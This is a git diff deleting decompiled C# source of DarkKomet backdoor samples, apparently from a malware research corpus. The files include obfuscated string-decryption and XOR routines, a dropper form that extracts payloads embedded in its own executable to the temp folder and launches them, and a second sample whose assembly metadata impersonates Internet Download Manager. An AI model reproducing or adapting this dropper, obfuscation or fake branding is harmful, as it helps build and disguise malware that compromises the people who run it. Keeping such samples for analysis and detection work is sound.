[EditorBrowsable(EditorBrowsableState.Never)] - internal sealed class \u0003 - { - [DebuggerHidden] - [EditorBrowsable(EditorBrowsableState.Never)] - public \u0003() - { - } - - [DebuggerHidden] - [EditorBrowsable(EditorBrowsableState.Never)] - public override bool Equals(object _param1) => base.Equals(RuntimeHelpers.GetObjectValue(_param1)); - - [DebuggerHidden] - [EditorBrowsable(EditorBrowsableState.Never)] - public override int GetHashCode() => base.GetHashCode(); - - [DebuggerHidden] - [EditorBrowsable(EditorBrowsableState.Never)] - internal System.Type \u0002() => typeof (\u0005.\u0003); - - [DebuggerHidden] - [EditorBrowsable(EditorBrowsableState.Never)] - public override string ToString() => base.ToString(); - - [DebuggerHidden] - private static T \u0002(T _param0) where T : new() => (object) _param0 == null ? new T() : _param0; - - [DebuggerHidden] - private void \u0003(ref T _param1) => _param1 = default (T); - } - - [EditorBrowsable(EditorBrowsableState.Never)] - [ComVisible(false)] - internal sealed class \u0005<\u0002> where \u0002 : new() - { - [ThreadStatic] - private static \u0002 \u0002; - - [DebuggerHidden] - [EditorBrowsable(EditorBrowsableState.Never)] - public \u0005() - { - } - - [DebuggerHidden] - internal \u0002 \u0002() - { - if ((object) \u0005.\u0005<\u0002>.\u0002 == null) - \u0005.\u0005<\u0002>.\u0002 = new \u0002(); - return \u0005.\u0005<\u0002>.\u0002; - } - } -} diff --git a/MSIL/Backdoor/Win32/D/Backdoor.Win32.DarkKomet.flmi-c6a635f08367ebc14e97e098c251f12ec8876284411ed7ac0b77e79a540debb3/_0006.cs b/MSIL/Backdoor/Win32/D/Backdoor.Win32.DarkKomet.flmi-c6a635f08367ebc14e97e098c251f12ec8876284411ed7ac0b77e79a540debb3/_0006.cs deleted file mode 100644 index 82a0c57a..00000000 --- a/MSIL/Backdoor/Win32/D/Backdoor.Win32.DarkKomet.flmi-c6a635f08367ebc14e97e098c251f12ec8876284411ed7ac0b77e79a540debb3/_0006.cs +++ /dev/null @@ -1,18 +0,0 @@ -// Decompiled with JetBrains decompiler -// Type:  -// Assembly: 10-June, Version=1.0.0.0, Culture=neutral, PublicKeyToken=null -// MVID: 2713F504-3EB6-448B-931C-99CD142737FF -// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00000-msil\Backdoor.Win32.DarkKomet.flmi-c6a635f08367ebc14e97e098c251f12ec8876284411ed7ac0b77e79a540debb3.exe - -using _10_June.My; -using Microsoft.VisualBasic; -using Microsoft.VisualBasic.CompilerServices; -using System.Diagnostics; - -[DebuggerNonUserCode] -[HideModuleName] -[StandardModule] -internal sealed class \u0006 -{ - internal static MySettings \u0002() => MySettings.Default; -} diff --git a/MSIL/Backdoor/Win32/D/Backdoor.Win32.DarkKomet.flmi-c6a635f08367ebc14e97e098c251f12ec8876284411ed7ac0b77e79a540debb3/_0008.cs b/MSIL/Backdoor/Win32/D/Backdoor.Win32.DarkKomet.flmi-c6a635f08367ebc14e97e098c251f12ec8876284411ed7ac0b77e79a540debb3/_0008.cs deleted file mode 100644 index f7799165..00000000 --- a/MSIL/Backdoor/Win32/D/Backdoor.Win32.DarkKomet.flmi-c6a635f08367ebc14e97e098c251f12ec8876284411ed7ac0b77e79a540debb3/_0008.cs +++ /dev/null @@ -1,33 +0,0 @@ -// Decompiled with JetBrains decompiler -// Type:  -// Assembly: 10-June, Version=1.0.0.0, Culture=neutral, PublicKeyToken=null -// MVID: 2713F504-3EB6-448B-931C-99CD142737FF -// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00000-msil\Backdoor.Win32.DarkKomet.flmi-c6a635f08367ebc14e97e098c251f12ec8876284411ed7ac0b77e79a540debb3.exe - -using Microsoft.VisualBasic; -using Microsoft.VisualBasic.CompilerServices; -using System.CodeDom.Compiler; -using System.Diagnostics; -using System.Globalization; -using System.Resources; - -[GeneratedCode("System.Resources.Tools.StronglyTypedResourceBuilder", "2.0.0.0")] -[StandardModule] -[HideModuleName] -[DebuggerNonUserCode] -internal sealed class \u0008 -{ - private static ResourceManager \u0002; - private static CultureInfo \u0003; - - internal static ResourceManager \u0002() - { - if (object.ReferenceEquals((object) \u0008.\u0002, (object) null)) - \u0008.\u0002 = new ResourceManager(\u000E.\u0002(759806128), typeof (\u0008).Assembly); - return \u0008.\u0002; - } - - internal static CultureInfo \u0002() => \u0008.\u0003; - - internal static void \u0002(CultureInfo _param0) => \u0008.\u0003 = _param0; -} diff --git a/MSIL/Backdoor/Win32/D/Backdoor.Win32.DarkKomet.flmi-c6a635f08367ebc14e97e098c251f12ec8876284411ed7ac0b77e79a540debb3/_000E.cs b/MSIL/Backdoor/Win32/D/Backdoor.Win32.DarkKomet.flmi-c6a635f08367ebc14e97e098c251f12ec8876284411ed7ac0b77e79a540debb3/_000E.cs deleted file mode 100644 index 2631e717..00000000 --- a/MSIL/Backdoor/Win32/D/Backdoor.Win32.DarkKomet.flmi-c6a635f08367ebc14e97e098c251f12ec8876284411ed7ac0b77e79a540debb3/_000E.cs +++ /dev/null @@ -1,191 +0,0 @@ -// Decompiled with JetBrains decompiler -// Type:  -// Assembly: 10-June, Version=1.0.0.0, Culture=neutral, PublicKeyToken=null -// MVID: 2713F504-3EB6-448B-931C-99CD142737FF -// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00000-msil\Backdoor.Win32.DarkKomet.flmi-c6a635f08367ebc14e97e098c251f12ec8876284411ed7ac0b77e79a540debb3.exe - -using System; -using System.Collections.Generic; -using System.Diagnostics; -using System.IO; -using System.Reflection; -using System.Runtime.CompilerServices; -using System.Text; - -internal static class \u000E -{ - private static readonly Dictionary \u0002 = new Dictionary(6); - private static BinaryReader \u0003; - private static byte[] \u0005; - private static short \u0008; - private static int \u0006; - private static byte[] \u000E; - - [MethodImpl(MethodImplOptions.NoInlining)] - internal static string \u0002(int _param0) - { - lock (\u000E.\u0002) - { - string str1; - byte[] numArray1; - for (; !\u000E.\u0002.TryGetValue(_param0, out str1); _param0 = ((int) numArray1[2] | (int) numArray1[3] << 16 | (int) numArray1[0] << 8 | (int) numArray1[1] << 24) ^ -_param0) - { - if (\u000E.\u0003 == null) - { - Assembly executingAssembly = Assembly.GetExecutingAssembly(); - Assembly.GetCallingAssembly(); - \u000E.\u0006 = 1610370; - Stream manifestResourceStream = executingAssembly.GetManifestResourceStream("         \u200B "); - int skipFrames = 1; - StackTrace stackTrace = new StackTrace(skipFrames, false); - \u000E.\u0006 ^= 6470 | skipFrames; - int index = skipFrames - 1; - StackFrame frame = stackTrace.GetFrame(index); - MethodBase methodBase = frame == null ? (MethodBase) null : frame.GetMethod(); - \u000E.\u0006 ^= index + 128; - Type type = (object) methodBase == null ? (Type) null : methodBase.DeclaringType; - if (frame == null) - \u000E.\u0006 ^= 219315; - bool flag = (object) type == (object) typeof (RuntimeMethodHandle); - \u000E.\u0006 ^= 160; - if (!flag) - { - flag = (object) type == null; - if (flag) - \u000E.\u0006 ^= 219283; - } - if (flag == (stackTrace != null)) - \u000E.\u0006 ^= 32; - \u000E.\u0006 ^= 6502 | index + 1; - \u000E.\u0003 = new BinaryReader(manifestResourceStream); - short count = (short) ((int) \u000E.\u0003.ReadInt16() ^ (int) (short) (~--~~-~-~-1471310255 ^ 1471284911)); - if (count == (short) 0) - \u000E.\u0008 = (short) ((int) \u000E.\u0003.ReadInt16() ^ (int) (short) ~-~--~~-~17028); - else - \u000E.\u0005 = \u000E.\u0003.ReadBytes((int) count); - Assembly assembly = executingAssembly; - AssemblyName assemblyName; - try - { - assemblyName = assembly.GetName(); - } - catch - { - assemblyName = new AssemblyName(assembly.FullName); - } - \u000E.\u000E = assemblyName.GetPublicKeyToken(); - if (\u000E.\u000E != null && \u000E.\u000E.Length == 0) - \u000E.\u000E = (byte[]) null; - \u000E.\u0006 = \u000E.\u0006 & 268435314 ^ 6788; - } - int num1 = _param0 ^ 759805953; - \u000E.\u0003.BaseStream.Position = (long) num1; - byte[] numArray2; - if (\u000E.\u0005 != null) - { - numArray2 = \u000E.\u0005; - } - else - { - short count = \u000E.\u0008 != (short) -1 ? \u000E.\u0008 : (short) ((int) \u000E.\u0003.ReadInt16() ^ -19352 ^ num1); - numArray2 = count != (short) 0 ? \u000E.\u0003.ReadBytes((int) count) : (byte[]) null; - } - int num2 = \u000E.\u0003.ReadInt32() ^ num1 ^ -~~--~~-~-~-904937009 ^ 1890831825; - if (num2 == -2) - { - numArray1 = \u000E.\u0003.ReadBytes(4); - _param0 = 1162081278; - } - else - { - bool flag1 = (num2 & int.MinValue) != 0; - bool flag2 = (num2 & 1073741824) != 0; - int count = num2 & 1073741823; - byte[] numArray3 = \u000F.\u0002(numArray2, \u000E.\u0003.ReadBytes(count)); - if (\u000E.\u000E != null != (\u000E.\u0006 != 1607814)) - { - for (int index = 0; index < count; ++index) - { - byte num3 = \u000E.\u000E[index & 7]; - byte num4 = (byte) ((int) num3 << 3 | (int) num3 >> 5); - numArray3[index] = (byte) ((uint) numArray3[index] ^ (uint) num4); - } - } - int num5 = \u000E.\u0006 - 12; - byte[] bytes; - int length; - if (!flag2) - { - bytes = numArray3; - length = count; - } - else - { - length = (int) numArray3[2] | (int) numArray3[0] << 16 | (int) numArray3[3] << 8 | (int) numArray3[1] << 24; - bytes = new byte[length]; - \u000E.\u0002(numArray3, 4, bytes); - } - string str2; - if (flag1 && num5 == 1607802) - { - char[] chArray = new char[length]; - for (int index = 0; index < length; ++index) - chArray[index] = (char) bytes[index]; - str2 = new string(chArray); - } - else - str2 = Encoding.Unicode.GetString(bytes, 0, bytes.Length); - int num6 = num5 + ((int) sbyte.MaxValue + (num5 & 3) << 5); - if (num6 != 1611930) - str2 = (_param0 + count ^ 936568 ^ num6 & 1293).ToString("X"); - string str3 = string.Intern(str2); - \u000E.\u0002.Add(_param0, str3); - if (\u000E.\u0002.Count == 6) - { - \u000E.\u0003.Close(); - \u000E.\u0003 = (BinaryReader) null; - \u000E.\u0005 = \u000E.\u000E = (byte[]) null; - } - return str3; - } - } - return str1; - } - } - - private static int \u0002(byte[] _param0, int _param1, byte[] _param2) - { - int num1 = 0; - int num2 = 0; - int num3 = 128; - int length = _param2.Length; -label_9: - while (num1 < length) - { - if ((num3 <<= 1) == 256) - { - num3 = 1; - num2 = (int) _param0[_param1++]; - } - if ((num2 & num3) != 0) - { - int num4 = ((int) _param0[_param1] >> 2) + 3; - int num5 = ((int) _param0[_param1] << 8 | (int) _param0[_param1 + 1]) & 1023; - _param1 += 2; - int num6 = num1 - num5; - if (num6 < 0) - return -1; - while (true) - { - if (--num4 >= 0 && num1 < length) - _param2[num1++] = _param2[num6++]; - else - goto label_9; - } - } - else - _param2[num1++] = _param0[_param1++]; - } - return 0; - } -} diff --git a/MSIL/Backdoor/Win32/D/Backdoor.Win32.DarkKomet.flmi-c6a635f08367ebc14e97e098c251f12ec8876284411ed7ac0b77e79a540debb3/_000F.cs b/MSIL/Backdoor/Win32/D/Backdoor.Win32.DarkKomet.flmi-c6a635f08367ebc14e97e098c251f12ec8876284411ed7ac0b77e79a540debb3/_000F.cs deleted file mode 100644 index 20c30ed9..00000000 --- a/MSIL/Backdoor/Win32/D/Backdoor.Win32.DarkKomet.flmi-c6a635f08367ebc14e97e098c251f12ec8876284411ed7ac0b77e79a540debb3/_000F.cs +++ /dev/null @@ -1,31 +0,0 @@ -// Decompiled with JetBrains decompiler -// Type:  -// Assembly: 10-June, Version=1.0.0.0, Culture=neutral, PublicKeyToken=null -// MVID: 2713F504-3EB6-448B-931C-99CD142737FF -// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00000-msil\Backdoor.Win32.DarkKomet.flmi-c6a635f08367ebc14e97e098c251f12ec8876284411ed7ac0b77e79a540debb3.exe - -internal static class \u000F -{ - public static byte[] \u0002(byte[] _param0, byte[] _param1) - { - byte num1 = _param0[1]; - int length = _param1.Length; - byte num2 = (byte) (length + 11 ^ (int) num1 + 7); - uint num3 = (uint) (((int) _param0[0] | (int) _param0[2] << 8) + ((int) num2 << 3)); - ushort num4 = 0; - for (int index = 0; index < length; ++index) - { - if ((index & 1) == 0) - { - num3 = (uint) ((int) num3 * 214013 + 2531011); - num4 = (ushort) (num3 >> 16); - } - byte num5 = (byte) num4; - num4 >>= 8; - byte num6 = _param1[index]; - _param1[index] = (byte) ((uint) ((int) num6 ^ (int) num1 ^ (int) num2 + 3) ^ (uint) num5); - num2 = num6; - } - return _param1; - } -} diff --git a/MSIL/Backdoor/Win32/D/Backdoor.Win32.DarkKomet.flmi-c6a635f08367ebc14e97e098c251f12ec8876284411ed7ac0b77e79a540debb3/_10_June/Form1.cs b/MSIL/Backdoor/Win32/D/Backdoor.Win32.DarkKomet.flmi-c6a635f08367ebc14e97e098c251f12ec8876284411ed7ac0b77e79a540debb3/_10_June/Form1.cs deleted file mode 100644 index 1b2386a4..00000000 --- a/MSIL/Backdoor/Win32/D/Backdoor.Win32.DarkKomet.flmi-c6a635f08367ebc14e97e098c251f12ec8876284411ed7ac0b77e79a540debb3/_10_June/Form1.cs +++ /dev/null @@ -1,167 +0,0 @@ -// Decompiled with JetBrains decompiler -// Type: _10_June.Form1 -// Assembly: 10-June, Version=1.0.0.0, Culture=neutral, PublicKeyToken=null -// MVID: 2713F504-3EB6-448B-931C-99CD142737FF -// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00000-msil\Backdoor.Win32.DarkKomet.flmi-c6a635f08367ebc14e97e098c251f12ec8876284411ed7ac0b77e79a540debb3.exe - -using Microsoft.VisualBasic; -using Microsoft.VisualBasic.CompilerServices; -using System; -using System.ComponentModel; -using System.Diagnostics; -using System.IO; -using System.Windows.Forms; - -namespace _10_June -{ - [DesignerGenerated] - public class Form1 : Form - { - private IContainer \u0002; - - [DebuggerNonUserCode] - public Form1() - { - this.Load += new EventHandler(this.\u0002); - this.\u0002(); - } - - [DebuggerNonUserCode] - protected override void Dispose(bool disposing) - { - try - { - if (!disposing || this.\u0002 == null) - return; - this.\u0002.Dispose(); - } - finally - { - base.Dispose(disposing); - } - } - - [DebuggerStepThrough] - private void \u0002() - { - this.\u0002 = (IContainer) new System.ComponentModel.Container(); - this.AutoScaleMode = AutoScaleMode.Font; - this.Text = \u000E.\u0002(759806067); - } - - private void \u0002(object _param1, EventArgs _param2) - { -label_0: - int num1; - int num2; - try - { - ProjectData.ClearProjectError(); - num1 = -2; -label_1: - int num3 = 2; - string tempPath = Path.GetTempPath(); -label_2: - num3 = 3; - FileSystem.FileOpen(1, Application.ExecutablePath, OpenMode.Binary, OpenAccess.Read, OpenShare.Shared); -label_3: - num3 = 4; - string Expression = Strings.Space(checked ((int) FileSystem.LOF(1))); -label_4: - num3 = 5; - FileSystem.FileGet(1, ref Expression); -label_5: - num3 = 6; - FileSystem.FileClose(1); -label_6: - num3 = 7; - string[] strArray = Strings.Split(Expression, \u000E.\u0002(759806079)); -label_7: - num3 = 8; - FileSystem.FileOpen(3, tempPath + strArray[3], OpenMode.Binary, OpenAccess.ReadWrite); -label_8: - num3 = 9; - FileSystem.FilePut(3, strArray[1], -1L, false); -label_9: - num3 = 10; - FileSystem.FileClose(3); -label_10: - num3 = 11; - FileSystem.FileOpen(5, tempPath + strArray[4], OpenMode.Binary, OpenAccess.ReadWrite); -label_11: - num3 = 12; - FileSystem.FilePut(5, strArray[2], -1L, false); -label_12: - num3 = 13; - FileSystem.FileClose(5); -label_13: - num3 = 14; - Process.Start(tempPath + strArray[3]); -label_14: - num3 = 15; - Process.Start(tempPath + strArray[4]); -label_15: - num3 = 16; - this.Close(); - ProjectData.EndApp(); - goto label_22; -label_17: - num2 = num3; - switch (num1 > -2 ? num1 : 1) - { - case 1: - int num4 = num2 + 1; - num2 = 0; - switch (num4) - { - case 1: - goto label_0; - case 2: - goto label_1; - case 3: - goto label_2; - case 4: - goto label_3; - case 5: - goto label_4; - case 6: - goto label_5; - case 7: - goto label_6; - case 8: - goto label_7; - case 9: - goto label_8; - case 10: - goto label_9; - case 11: - goto label_10; - case 12: - goto label_11; - case 13: - goto label_12; - case 14: - goto label_13; - case 15: - goto label_14; - case 16: - goto label_15; - case 17: - goto label_22; - } - break; - } - } - catch (Exception ex) when (ex is Exception & num1 != 0 & num2 == 0) - { - ProjectData.SetProjectError(ex); - goto label_17; - } - throw ProjectData.CreateProjectError(-2146828237); -label_22: - if (num2 == 0) - return; - ProjectData.ClearProjectError(); - } - } -} diff --git a/MSIL/Backdoor/Win32/D/Backdoor.Win32.DarkKomet.flmi-c6a635f08367ebc14e97e098c251f12ec8876284411ed7ac0b77e79a540debb3/_10_June/My/MySettings.cs b/MSIL/Backdoor/Win32/D/Backdoor.Win32.DarkKomet.flmi-c6a635f08367ebc14e97e098c251f12ec8876284411ed7ac0b77e79a540debb3/_10_June/My/MySettings.cs deleted file mode 100644 index 659b363e..00000000 --- a/MSIL/Backdoor/Win32/D/Backdoor.Win32.DarkKomet.flmi-c6a635f08367ebc14e97e098c251f12ec8876284411ed7ac0b77e79a540debb3/_10_June/My/MySettings.cs +++ /dev/null @@ -1,73 +0,0 @@ -// Decompiled with JetBrains decompiler -// Type: _10_June.My.MySettings -// Assembly: 10-June, Version=1.0.0.0, Culture=neutral, PublicKeyToken=null -// MVID: 2713F504-3EB6-448B-931C-99CD142737FF -// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00000-msil\Backdoor.Win32.DarkKomet.flmi-c6a635f08367ebc14e97e098c251f12ec8876284411ed7ac0b77e79a540debb3.exe - -using Microsoft.VisualBasic.ApplicationServices; -using Microsoft.VisualBasic.CompilerServices; -using System; -using System.CodeDom.Compiler; -using System.ComponentModel; -using System.Configuration; -using System.Diagnostics; -using System.Runtime.CompilerServices; -using System.Threading; - -namespace _10_June.My -{ - [CompilerGenerated] - [GeneratedCode("Microsoft.VisualStudio.Editors.SettingsDesigner.SettingsSingleFileGenerator", "9.0.0.0")] - [EditorBrowsable(EditorBrowsableState.Advanced)] - internal sealed class MySettings : ApplicationSettingsBase - { - private static MySettings defaultInstance = (MySettings) SettingsBase.Synchronized((SettingsBase) new MySettings()); - private static bool addedHandler; - private static object addedHandlerLockObject = RuntimeHelpers.GetObjectValue(new object()); - - [DebuggerNonUserCode] - public MySettings() - { - } - - [EditorBrowsable(EditorBrowsableState.Advanced)] - [DebuggerNonUserCode] - private static void AutoSaveSettings(object sender, EventArgs e) - { - if (!\u0005.\u0002().SaveMySettingsOnExit) - return; - \u0006.\u0002().Save(); - } - - public static MySettings Default - { - get - { - if (!MySettings.addedHandler) - { - object handlerLockObject = MySettings.addedHandlerLockObject; - ObjectFlowControl.CheckForSyncLockOnValueType(handlerLockObject); - Monitor.Enter(handlerLockObject); - try - { - if (!MySettings.addedHandler) - { - \u0005.\u0002().Shutdown += (ShutdownEventHandler) ((sender, e) => - { - if (!\u0005.\u0002().SaveMySettingsOnExit) - return; - \u0006.\u0002().Save(); - }); - MySettings.addedHandler = true; - } - } - finally - { - Monitor.Exit(handlerLockObject); - } - } - return MySettings.defaultInstance; - } - } - } -} diff --git a/MSIL/Backdoor/Win32/D/Backdoor.Win32.DarkKomet.flmi-c6a635f08367ebc14e97e098c251f12ec8876284411ed7ac0b77e79a540debb3/_10_June/Resources.resx b/MSIL/Backdoor/Win32/D/Backdoor.Win32.DarkKomet.flmi-c6a635f08367ebc14e97e098c251f12ec8876284411ed7ac0b77e79a540debb3/_10_June/Resources.resx deleted file mode 100644 index d58980a3..00000000 --- a/MSIL/Backdoor/Win32/D/Backdoor.Win32.DarkKomet.flmi-c6a635f08367ebc14e97e098c251f12ec8876284411ed7ac0b77e79a540debb3/_10_June/Resources.resx +++ /dev/null @@ -1,120 +0,0 @@ - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - text/microsoft-resx - - - 2.0 - - - System.Resources.ResXResourceReader, System.Windows.Forms, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089 - - - System.Resources.ResXResourceWriter, System.Windows.Forms, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089 - - \ No newline at end of file diff --git a/MSIL/Backdoor/Win32/D/Backdoor.Win32.DarkKomet.flmi-c6a635f08367ebc14e97e098c251f12ec8876284411ed7ac0b77e79a540debb3/         ​  b/MSIL/Backdoor/Win32/D/Backdoor.Win32.DarkKomet.flmi-c6a635f08367ebc14e97e098c251f12ec8876284411ed7ac0b77e79a540debb3/         ​  deleted file mode 100644 index 5e7f0473..00000000 Binary files a/MSIL/Backdoor/Win32/D/Backdoor.Win32.DarkKomet.flmi-c6a635f08367ebc14e97e098c251f12ec8876284411ed7ac0b77e79a540debb3/         ​  and /dev/null differ diff --git a/MSIL/Backdoor/Win32/D/Backdoor.Win32.DarkKomet.gwon-35b4a84324681a1000c14cf114b6f94ada34eb6c6ca38b9a4584b31e742aece3/AssemblyInfo.cs b/MSIL/Backdoor/Win32/D/Backdoor.Win32.DarkKomet.gwon-35b4a84324681a1000c14cf114b6f94ada34eb6c6ca38b9a4584b31e742aece3/AssemblyInfo.cs deleted file mode 100644 index 0901e02b..00000000 --- a/MSIL/Backdoor/Win32/D/Backdoor.Win32.DarkKomet.gwon-35b4a84324681a1000c14cf114b6f94ada34eb6c6ca38b9a4584b31e742aece3/AssemblyInfo.cs +++ /dev/null @@ -1,15 +0,0 @@ -using SmartAssembly.Attributes; -using System.Reflection; -using System.Runtime.InteropServices; - -[assembly: AssemblyCopyright("Tonec Inc., Copyright © 1999 - 2011")] -[assembly: ComVisible(false)] -[assembly: AssemblyProduct("Internet Download Manager (IDM)")] -[assembly: AssemblyDescription("IDMan")] -[assembly: AssemblyCompany("Tonec Inc.")] -[assembly: AssemblyTitle("Internet Download Manager (IDM)")] -[assembly: AssemblyTrademark("Internet Download Manager")] -[assembly: AssemblyFileVersion("6.5.8.1")] -[assembly: Guid("ed21cb1e-a68f-46ba-9dee-b698d8a0942e")] -[assembly: PoweredBy("Powered by SmartAssembly 6.0.0.513")] -[assembly: AssemblyVersion("6.5.8.1")] diff --git a/MSIL/Backdoor/Win32/D/Backdoor.Win32.DarkKomet.gwon-35b4a84324681a1000c14cf114b6f94ada34eb6c6ca38b9a4584b31e742aece3/Backdoor.Win32.DarkKomet.gwon.csproj b/MSIL/Backdoor/Win32/D/Backdoor.Win32.DarkKomet.gwon-35b4a84324681a1000c14cf114b6f94ada34eb6c6ca38b9a4584b31e742aece3/Backdoor.Win32.DarkKomet.gwon.csproj deleted file mode 100644 index 44525b26..00000000 --- a/MSIL/Backdoor/Win32/D/Backdoor.Win32.DarkKomet.gwon-35b4a84324681a1000c14cf114b6f94ada34eb6c6ca38b9a4584b31e742aece3/Backdoor.Win32.DarkKomet.gwon.csproj +++ /dev/null @@ -1,245 +0,0 @@ - - - - - Debug - AnyCPU - {8F169AE4-7D42-4C0A-93A6-13C78CF48A05} - WinExe - Idm - 6.5.8.1 - - - AnyCPU - true - full - false - bin\Debug\ - DEBUG;TRACE - prompt - 4 - - - AnyCPU - pdbonly - true - bin\Release\ - TRACE - prompt - 4 - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - \ No newline at end of file diff --git a/MSIL/Backdoor/Win32/D/Backdoor.Win32.DarkKomet.gwon-35b4a84324681a1000c14cf114b6f94ada34eb6c6ca38b9a4584b31e742aece3/Backdoor.Win32.DarkKomet.gwon.sln b/MSIL/Backdoor/Win32/D/Backdoor.Win32.DarkKomet.gwon-35b4a84324681a1000c14cf114b6f94ada34eb6c6ca38b9a4584b31e742aece3/Backdoor.Win32.DarkKomet.gwon.sln deleted file mode 100644 index 36772b88..00000000 --- a/MSIL/Backdoor/Win32/D/Backdoor.Win32.DarkKomet.gwon-35b4a84324681a1000c14cf114b6f94ada34eb6c6ca38b9a4584b31e742aece3/Backdoor.Win32.DarkKomet.gwon.sln +++ /dev/null @@ -1,20 +0,0 @@ - -Microsoft Visual Studio Solution File, Format Version 9.00 -# Visual Studio 2005 -Project("{FAE04EC0-301F-11D3-BF4B-00C04F79EFBC}") = "Idm", "Backdoor.Win32.DarkKomet.gwon-35b4a84324681a1000c14cf114b6f94ada34eb6c6ca38b9a4584b31e742aece3.csproj", "{8F169AE4-7D42-4C0A-93A6-13C78CF48A05}" -EndProject -Global - GlobalSection(SolutionConfigurationPlatforms) = preSolution - Debug|Any CPU = Debug|Any CPU - Release|Any CPU = Release|Any CPU - EndGlobalSection - GlobalSection(ProjectConfigurationPlatforms) = postSolution - {8F169AE4-7D42-4C0A-93A6-13C78CF48A05}.Debug|Any CPU.ActiveCfg = Debug|Any CPU - {8F169AE4-7D42-4C0A-93A6-13C78CF48A05}.Debug|Any CPU.Build.0 = Debug|Any CPU - {8F169AE4-7D42-4C0A-93A6-13C78CF48A05}.Release|Any CPU.ActiveCfg = Release|Any CPU - {8F169AE4-7D42-4C0A-93A6-13C78CF48A05}.Release|Any CPU.Build.0 = Release|Any CPU - EndGlobalSection - GlobalSection(SolutionProperties) = preSolution - HideSolutionNode = FALSE - EndGlobalSection -EndGlobal diff --git a/MSIL/Backdoor/Win32/D/Backdoor.Win32.DarkKomet.gwon-35b4a84324681a1000c14cf114b6f94ada34eb6c6ca38b9a4584b31e742aece3/Idm/My/MySettings.cs b/MSIL/Backdoor/Win32/D/Backdoor.Win32.DarkKomet.gwon-35b4a84324681a1000c14cf114b6f94ada34eb6c6ca38b9a4584b31e742aece3/Idm/My/MySettings.cs deleted file mode 100644 index d43290f5..00000000 --- a/MSIL/Backdoor/Win32/D/Backdoor.Win32.DarkKomet.gwon-35b4a84324681a1000c14cf114b6f94ada34eb6c6ca38b9a4584b31e742aece3/Idm/My/MySettings.cs +++ /dev/null @@ -1,144 +0,0 @@ -// Decompiled with JetBrains decompiler -// Type: Idm.My.MySettings -// Assembly: Idm, Version=6.5.8.1, Culture=neutral, PublicKeyToken=null -// MVID: 8A2CC06E-B699-4A98-98EE-08831FC9C995 -// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00001-msil\Backdoor.Win32.DarkKomet.gwon-35b4a84324681a1000c14cf114b6f94ada34eb6c6ca38b9a4584b31e742aece3.exe - -using \u001B\u0004; -using \u007F\u0004; -using Microsoft.VisualBasic.ApplicationServices; -using System; -using System.CodeDom.Compiler; -using System.ComponentModel; -using System.Configuration; -using System.Diagnostics; -using System.Runtime.CompilerServices; - -namespace Idm.My -{ - [GeneratedCode("Microsoft.VisualStudio.Editors.SettingsDesigner.SettingsSingleFileGenerator", "9.0.0.0")] - [CompilerGenerated] - [EditorBrowsable(EditorBrowsableState.Advanced)] - internal sealed class MySettings : ApplicationSettingsBase - { - private static MySettings \u0001; - private static bool \u0002; - private static object \u0003; - - static MySettings() - { - try - { - // ISSUE: reference to a compiler-generated field - // ISSUE: object of a compiler-generated type is created - MySettings.\u0001 = (MySettings) SettingsBase.Synchronized((SettingsBase) new MySettings()); - // ISSUE: reference to a compiler-generated field - MySettings.\u0003 = RuntimeHelpers.GetObjectValue(new object()); - } - catch (Exception ex) - { - \u0089\u0004.\u0017\u0005(ex); - throw; - } - } - - [DebuggerNonUserCode] - public MySettings() - { - try - { - } - catch (Exception ex) - { - \u0089\u0004.\u0018\u0005(ex, (object) this); - throw; - } - } - - [DebuggerNonUserCode] - [EditorBrowsable(EditorBrowsableState.Advanced)] - private static void \u0018\u0004(object sender, EventArgs e) - { - bool mySettingsOnExit; - try - { - mySettingsOnExit = \u0094.\u001B\u0003().SaveMySettingsOnExit; - if (!mySettingsOnExit) - return; - // ISSUE: reference to a compiler-generated method - \u001A\u0002.\u007E\u0082((object) \u0001\u0002.\u001A\u0004()); - } - catch (Exception ex) - { - // ISSUE: variable of a boxed type - __Boxed local = (ValueType) mySettingsOnExit; - object obj = sender; - EventArgs eventArgs = e; - \u0089\u0004.\u001A\u0005(ex, (object) local, obj, (object) eventArgs); - throw; - } - } - - public static MySettings Default - { - get - { - object obj1; - bool flag; - try - { - flag = !MySettings.\u0002; - if (flag) - { - obj1 = MySettings.\u0003; - \u001A\u0002.\u0005\u0007(obj1); - \u001A\u0002.\u0014\u0004(obj1); - try - { - flag = !MySettings.\u0002; - if (flag) - { - \u0080\u0004.\u007E\u0092\u0006((object) \u0094.\u001B\u0003(), (ShutdownEventHandler) ((sender, e) => - { - bool mySettingsOnExit; - try - { - mySettingsOnExit = \u0094.\u001B\u0003().SaveMySettingsOnExit; - if (!mySettingsOnExit) - return; - \u001A\u0002.\u007E\u0082((object) \u0001\u0002.\u001A\u0004()); - } - catch (Exception ex) - { - __Boxed local = (ValueType) mySettingsOnExit; - object obj2 = sender; - EventArgs eventArgs = e; - \u0089\u0004.\u001A\u0005(ex, (object) local, obj2, (object) eventArgs); - throw; - } - })); - MySettings.\u0002 = true; - } - } - finally - { - \u001A\u0002.\u0015\u0004(obj1); - } - } - MySettings mySettings1 = MySettings.\u0001; - MySettings mySettings2 = mySettings1; - return mySettings2; - } - catch (Exception ex) - { - MySettings mySettings3; - MySettings mySettings4 = mySettings3; - object obj3 = obj1; - __Boxed local = (ValueType) flag; - \u0089\u0004.\u001A\u0005(ex, (object) mySettings4, obj3, (object) local); - throw; - } - } - } - } -} diff --git a/MSIL/Backdoor/Win32/D/Backdoor.Win32.DarkKomet.gwon-35b4a84324681a1000c14cf114b6f94ada34eb6c6ca38b9a4584b31e742aece3/SmartAssembly/Attributes/PoweredByAttribute.cs 